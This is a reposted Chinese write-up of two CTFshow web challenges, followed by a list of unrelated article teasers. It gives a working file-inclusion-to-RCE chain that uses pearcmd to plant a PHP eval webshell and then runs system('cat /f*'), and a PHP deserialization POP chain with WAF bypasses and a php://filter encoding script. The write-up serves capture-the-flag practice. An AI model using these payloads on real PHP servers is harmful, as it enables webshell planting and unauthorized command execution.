CTFshow元旦水友赛web部分题解

news2024/11/16 19:24:10

1.easy_include
看题目是一个文件包含题
在这里插入图片描述

post的内容被过滤掉.,而且开头必须是字母,但是如果想要文件包含需要file:///xxxx,这里开头就是/了,所以需要绕过,file伪协议可以用file://localhost+路径让绕过开头必须是字母。
在这里插入图片描述

可以看到能读取到文件,读取一些配置文件无果,尝试用pear文件包含
get传参 /?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
post传参 1=localhost/usr/local/lib/php/pearcmd.php
然后rce

post  /shell.php
cmd=system('cat /f*');

在这里插入图片描述

2.easy_web
是一道反序列化题
题目有点长,逐步分析。
在这里插入图片描述

waf1:将获得到的参数写成键值对的形式,如果值匹配到a-z退出
在这里插入图片描述

waf2:如果匹配到show,退出
在这里插入图片描述

waf_in_waf_php:先统计字符串a中”base64”出现的次数。如果次数不为1,返回True。如果a中有ucs-2,phar,data,input,zip,flag,%等方法也返回True,如果次数为1或者不出现那些方法则返回False。
在这里插入图片描述

ctf:被唤醒时,抛出异常,被销毁时候,引用h1对象的nonono方法,参数为h2
在这里插入图片描述

show:当调用到以&name为名的不可访问方法时候触发__call,检查 数字第一层的第一层的第三个元素是否包含”ctf”,有则输出”gogogo”
在这里插入图片描述

Chu0_write:被创建时候,chu0被赋值为xiuxiuxiu,当Chu0_write被当作字符串使用时,如果chu0和chu1相等,content则为ctfshowshowshowww和get传参的chu0拼接后字符,如果name中的“base64”个数为1或者有其他方法,将content写入name.txt,其中name用get上传。tmp为读取ctfw.txt文件的内容,如果cmd绕过正则,执行cmd。
在这里插入图片描述

get传参show_show.show,先后进行waf1 和waf2如果绕过正则,进行反序列化。
从头看,waf1($_REQUEST); R E Q U E S T 会同时接受 G E T 和 p o s t 里面的请求,但是 p o s t 的优先级更高,随意可以通过 p o s t 传递数字绕过 w a f 1 的死亡退出 w a f 2 ( _REQUEST会同时接受GET 和post里面的请求,但是post的优先级更高,随意可以通过post传递数字绕过waf1的死亡退出 waf2( REQUEST会同时接受GETpost里面的请求,但是post的优先级更高,随意可以通过post传递数字绕过waf1的死亡退出waf2(_SERVER[‘QUERY_STRING’]);参数名和参数值都不能有show,可以用url编码绕过。
pop链:从ctf()开始,destruct->show()->_call->Chu0_write()->_toString
在这里插入图片描述

尝试一下,现在可以想想如何rce了
在这里插入图片描述

将content写入name文件,但是content是与ctfshowshowshowwww拼接,想到file_put_contents()用过滤器传参,ctfshowshowshowwww被当作垃圾过滤掉,这里用utf-16将system写入ctfw.txx
php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw然后chu0
脚本:

<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));  //utf-16这里可以换成任意filter支持的字符编码
$c=quoted_printable_encode($payload);
echo $c;
>

system编码后是
=FF=FEc=003=00l=00z=00d=00G=00V=00t=00
在这里插入图片描述

读取环境变量得到flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1414189.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

移动Web——平面转换-平移

1、平面转换-平移 取值 像素单位数值百分比&#xff08;参照盒子自身尺寸计算结果&#xff09;正负均可 技巧 translate()只写一个值&#xff0c;表示沿着X轴移动单独设置X或Y轴移动距离&#xff1a;translateX()或translateY() <!DOCTYPE html> <html lang"en&q…

微信小程序开发 调查问卷

1. 需求 开发一个“调查问卷”的案例来学习常用表单组件的使用&#xff0c;收集用户填写胡表单信息提交给服务器&#xff0c;或者从服务器获取数据后显示在表单中。调查问卷分为单选、多选、单行填空、多行填空&#xff0c;选项为必填时候&#xff0c;提交弹出必填项未提交提示…

Redis2-事务 连接Java 整合springboot 注解缓存

一、订阅和发布 Redis 发布订阅 (pub/sub) 是一种消息通信模式&#xff1a;发送者 (pub) 发送消息&#xff0c;订阅者 (sub) 接收消息。 Redis 客户端可以订阅任意数量的频道。 Redis的发布和订阅 客户端订阅频道发布的消息 频道发布消息 订阅者就可以收到消息 发布订阅的代…

蓝桥杯备赛 week 4 —— DP 背包问题

目录 &#x1f308;前言&#x1f308;&#xff1a; &#x1f4c1; 01背包问题 分析&#xff1a; dp数组求解&#xff1a; 优化&#xff1a;滚动数组&#xff1a; &#x1f4c1; 完全背包问题 &#x1f4c1; 总结 &#x1f308;前言&#x1f308;&#xff1a; 这篇文章主…

联合 Maxlinear 迈凌 与 Elitestek 易灵思 - WPI 世平推出基于 FPGA 芯片的好用高效电源解决方案

近期 WPI 世平公司联合 Maxlinear 迈凌电源产品搭配 Elitestek 易灵思 FPGA 共同合作推出基于 FPGA 芯片的好用高效电源解决方案。 Elitestek 易灵思 FPGA 核心产品有 2 大系列 : Trion 系列与钛金系列。Trion 系列主要特点是 : 1. 40nm 工艺 2. 超低功耗 ( 可低至竞争对手的 …

修复idea,eclipse ,clion控制台中文乱码

控制台乱码问题主要原因并不在编译器IDE身上&#xff0c;还主要是Windows的控制台默认编码问题。。。 Powershell&#xff0c;cmd等默认编码可能不是UTF-8&#xff0c;无需改动IDE的settings或者properties&#xff08;这治标不治本&#xff09;&#xff0c;直接让Windows系统…

上位机图像处理和嵌入式模块部署(python opencv)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面我们谈到了qt&#xff0c;谈到了opencv&#xff0c;也谈到了嵌入式&#xff0c;但是没有说明python在这个过程当中应该扮演什么样的角色。open…

TCP的连接和关闭的那些事

一、基础概念 1、啥是TCP&#xff1f; 它是面向连接的一种协议&#xff0c;任何数据发送之前都需要建立连接。 2、TCP/IP协议的四层中那一层&#xff1f; TCP位于运输层&#xff0c;详见下图 3、TCP协议的状态机有哪些? 在链接建立和断开不同阶段都有不同的状态&#xf…

ES 分布式搜索的运行机制

ES 分布式搜索的运行机制-腾讯云开发者社区-腾讯云 ES 分布式搜索的运行机制 ES 有两种 search_type 即搜索类型&#xff1a; •query_then_fetch &#xff08;默认&#xff09;•dfs_query_then_fetch query_then_fetch query_then_fetch 1.用户发起搜索&#xff0c;请求…

RabbitMQ 笔记二

1.Spring 整合RabbitMQ 生产者消费者 创建生产者工程添加依赖配置整合编写代码发送消息 创建消费者工程添加依赖配置整合编写消息监听器 2.创建工程RabbitMQ Producers spring-rabbitmq-producers <?xml version"1.0" encoding"UTF-8"?> <pr…

SQL注入:报错注入

SQL注入系列文章&#xff1a;初识SQL注入-CSDN博客 SQL注入&#xff1a;联合查询的三个绕过技巧-CSDN博客 目录 什么是报错注入&#xff1f; 报错注入常用的3个函数 UpdateXML ExtractValue Floor rand&#xff08;随机数&#xff09; floor&#xff08;向上取整&…

海外多语言盲盒APP开发:跨越语言障碍的创新解决方案

随着全球化的加速和信息技术的迅猛发展&#xff0c;跨语言沟通的重要性日益凸显。为了满足这一市场需求&#xff0c;海外多语言盲盒APP应运而生。这一创新性的应用软件&#xff0c;旨在帮助用户跨越语言障碍&#xff0c;实现无障碍的交流与互动。 一、海外多语言盲盒APP的核心…

Python中lambda表达式的用法

嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 lambda表达式本身是一个非常基础的python函数语法&#xff0c; 其基本功能跟使用def所定义的python函数是一样的&#xff0c; 只是lambda表达式基本在一行以内就完整的表达了整个函数的运算逻辑。 这里我们简单展示一些lam…

C#,恩廷格尔组合数(Entringer Number)的算法与源程序

恩廷格尔组合数&#xff08;Entringer Number&#xff09;组合数学的序列数字之一。 E&#xff08;n&#xff0c;k&#xff09;是{1&#xff0c;2&#xff0c;…&#xff0c;n1}的排列数&#xff0c;从k1开始&#xff0c;先下降后上升。 计算结果&#xff1a; 源代码&#xf…

五、Flask学习之MySQL

五、Flask学习之MySQL 1. 下载MySQL 下载教程&#xff1a;MySQL安装及可视化工具SQLyog下载 2.常用指令 2.1. 查看已有数据库 show databases;2.2. 创建数据库 create database 名字 DEFAULT CHARSET utf8 COLLATE utf8_general_ci;2.3. 删除数据库 drop database 名字;…

计算机毕业设计 | SSM 凌云招聘平台(附源码)

1&#xff0c;绪论 人力资源是企业产生效益、创造利润的必不可少的、最重要的资源。人作为人力资源的个体可看作是一个承载着有效知识、能力的信息单元。这样的信息单元可看作是一个为企业产生价值和利润的个体。从而使得这样的信息单元所具有的信息就是一个有价值的信息。 校…

stripped文件描述以及gdb反汇编工具使用

往期地址&#xff1a; 操作系统系列一 —— 操作系统概述操作系统系列二 —— 进程操作系统系列三 —— 编译与链接关系操作系统系列四 —— 栈与函数调用关系操作系统系列五 —— 目标文件详解操作系统系列六 —— 详细解释【静态链接】操作系统系列七 —— 装载操作系统系列…

缓存问题 | 缓存穿透,缓存击穿,缓存雪崩

缓存穿透 关键字&#xff1a;强调缓存和数据库都没有数据并发访问 缓存穿透是指数据库和缓存都没有的数据&#xff0c;每次都要经过缓存去访问数据库&#xff0c;大量的请求有可能导致DB宕机。 应对策略&#xff1a; 使用布隆过滤器&#xff08;Bloom Filter&#xff09;&am…

PythonPDF编辑库之pypdf使用详解

概要 PDF&#xff08;Portable Document Format&#xff09;是一种常见的文档格式&#xff0c;广泛用于存储和共享文本和图像数据。在 Python 中&#xff0c;有许多库可以用于处理 PDF 文件&#xff0c;其中之一就是 PyPDF。PyPDF 是一个功能强大的库&#xff0c;它允许你读取…

RK3568平台 麦克风PDM接口录音

一.PDM接口简介 PDM Pulse Density Modulation是一种用数字信号表示模拟信号的调制方法。 PDM则使用远高于PCM采样率的时钟采样调制模拟分量&#xff0c;只有1位输出&#xff0c;要么为0&#xff0c;要么为1。因此通过PDM方式表示的数字音频也被称为Oversampled 1-bit Audio…